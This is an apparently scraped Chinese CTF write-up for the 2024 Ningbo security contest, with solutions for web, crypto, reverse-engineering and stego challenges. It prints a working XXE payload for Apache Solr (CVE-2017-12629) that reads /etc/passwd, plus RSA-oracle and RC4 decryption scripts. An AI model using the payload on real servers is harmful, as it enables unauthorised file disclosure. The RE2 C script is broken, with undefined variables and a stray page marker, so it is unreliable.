“天一永安杯”2024 宁波第七届网络安全大赛暨第九届大学生网络技术与信息安全大赛

大赛竞赛形式

一、线上初赛
参赛人员：各单位自行选拔3人（设队长1名）组成团队，不足3人不允许参赛。

竞赛时间：8：30-12：00（比赛3个小时，不含签到时间）

竞赛模式：CTF解题模式

（排名图为赛时截的，最终排名应该是50多，行业组排30多）

Geek极安云科战队WriteUp
解题情况：Web1、Web2、RE1、RE2、CY1、MISC1

MISC1

7通道LSB隐写

WEB1

BP直接抓到

WEB2

XML注入：Apache solr XML 实体注入（CVE-2017-12629）

payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>

CY1

import websocket
import json
from Crypto.Util.number import *
from gmpy2 import *

def get_flag(ws):
    x = ""
    ws.send(json.dumps({"cmd": "get_flag"}))
    while x == "" or x == "Pls send msgs and I'll return the result":
        x = ws.recv()
    return x

def f(ws, cmd, data):
    x = ""
    ws.send(json.dumps({"cmd": cmd, "data": data.zfill(512)}))
    while x == "" or x == "Pls send msgs and I'll return the result":
        x = ws.recv()
    return x

uri = "ws://xxx.xxx.xxx.xxx:xxxxx"
ws = websocket.create_connection(uri)
c = int(get_flag(ws), 16)
c2 = int(f(ws, "enc", hex(2)[2:]), 16)
c3 = int(f(ws, "enc", hex(3)[2:]), 16)
c4 = int(f(ws, "enc", hex(4)[2:]), 16)
c9 = int(f(ws, "enc", hex(9)[2:]), 16)
n = GCD(c2**2 - c4, c3**2 - c9)
enc_flag_2 = c2 * c % n
flag_2 = int(f(ws, "dec", hex(enc_flag_2)[2:]), 16)
print(long_to_bytes(flag_2 // 2))

RE1

key和key1用crypto1算法混淆，再用cry2算法吧加密后的key混淆

def init(s, key1):
    key_length = len(key1)
    for i in range(256):
        s[i] = i
    j = 0
    for i in range(256):
        j = (j + s[i] + key1[i % key_length]) % 256
        s[i], s[j] = s[j], s[i]

def crypt1(s, key):
    v5 = 0
    v6 = 0
    encrypted_key = bytearray(key)
    for i in range(len(key)):
        v5 = (v5 + 1) % 256
        v6 = (v6 + s[v5]) % 256
        s[v5], s[v6] = s[v6], s[v5]
        key_stream_byte = s[(s[v5] + s[v6]) % 256]
        encrypted_key[i] ^= key_stream_byte
    return encrypted_key

def before_main(key, key1):
    s = list(range(256))
    init(s, key1)
    encrypted_key = crypt1(s, key)
    return encrypted_key
key1 = b"keykey" 
key = b"ban_debug!" 
encrypted_key = before_main(key, key1)

print("Encrypted key:", encrypted_key)

def init(s, key):
    key_length = len(key)
    for i in range(256):
        s[i] = i
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % key_length]) % 256
        s[i], s[j] = s[j], s[i]

def crypt2(s, data):
    v5 = 0
    v6 = 0
    encrypted_data = bytearray(data)
    for i in range(len(data)):
        v5 = (v5 + 1) % 256
        v6 = (v6 + s[v5]) % 256
        s[v5], s[v6] = s[v6], s[v5]
        key_stream_byte = s[(s[v5] + s[v6]) % 256]
        encrypted_data[i] = (encrypted_data[i] - key_stream_byte) % 256
    return encrypted_data

def decrypt2(s, cipher):
    decrypted_data = bytearray(cipher)
    v5 = 0
    v6 = 0
    for i in range(len(cipher)):
        v5 = (v5 + 1) % 256
        v6 = (v6 + s[v5]) % 256
        s[v5], s[v6] = s[v6], s[v5]
        key_stream_byte = s[(s[v5] + s[v6]) % 256]
        decrypted_data[i] = (decrypted_data[i] + key_stream_byte) % 256
    return decrypted_data
key = b'key'
cipher = bytes([0x4e, 0x47, 0x38, 0x47, 0x62, 0x0a,  0x79, 0x6a, 0x03, 0x66, 0xc0, 0x69, 0x8d, 0x1c, 0x84, 0x0f, 0x54, 0x4a, 0x3b, 0x08, 0xe3, 0x30, 0x4f, 0xb9, 0x6c, 0xab, 0x36, 0x24, 0x52, 0x81, 0xcf])
s = list(range(256))
init(s, key)

decrypted_flag = decrypt2(s, cipher)
print("Decrypted flag:", decrypted_flag.decode())

第一个脚本得到加密flag的key，使用第二个脚本解出flag

RE2

修改UPX特征码后upx -d脱壳，IDA分析，rc4改了轮数

并且key在加密之前修改了

解密脚本

unsigned char sbox[size] = {0};
void init_sbox(unsigned char *key)
{
unsigned int i, j, k;
int tmp;
for (i = 0; i < size; i++)
{
sbox[i] = i;
}
j = k = 0;
for (i = 0; i < size; i++)
{
tmp = sbox[i];
j = (j + tmp + key[k]) % size;
sbox[i] = sbox[j];
sbox[j] = tmp;
if (++k >= strlen((char *)key))
k = 0;
}
}
void encode(unsigned char *key, unsigned char *data)
{
int i, j, k, R, tmp;
init_sbox(key);
j = k = 0;
for (i = 0; i < strlen((char *)data); i++)
{
j = (j + 1) % size;
k = (k + sbox[j]) % size;
tmp = sbox[j];
sbox[j] = sbox[k];
sbox[k] = tmp;
R = sbox[(sbox[j] + sbox[k]) % size];
data[i] ^= R;
}
}
int main()
{
unsigned char a[] = {42, 35, 69, 104, 85, 10, 60, 34, 61, 57, 35, 119, 114, 50, 1
24, 92, 117, 65, 27, 87, 123, 112, 19, 79, 5, 51, 28, 0};
unsigned char key[20] = "Th1s_1s_Re@lly_k3y";
encode(key, buffer);
printf("%s", a);
3 / 4
return 0;
}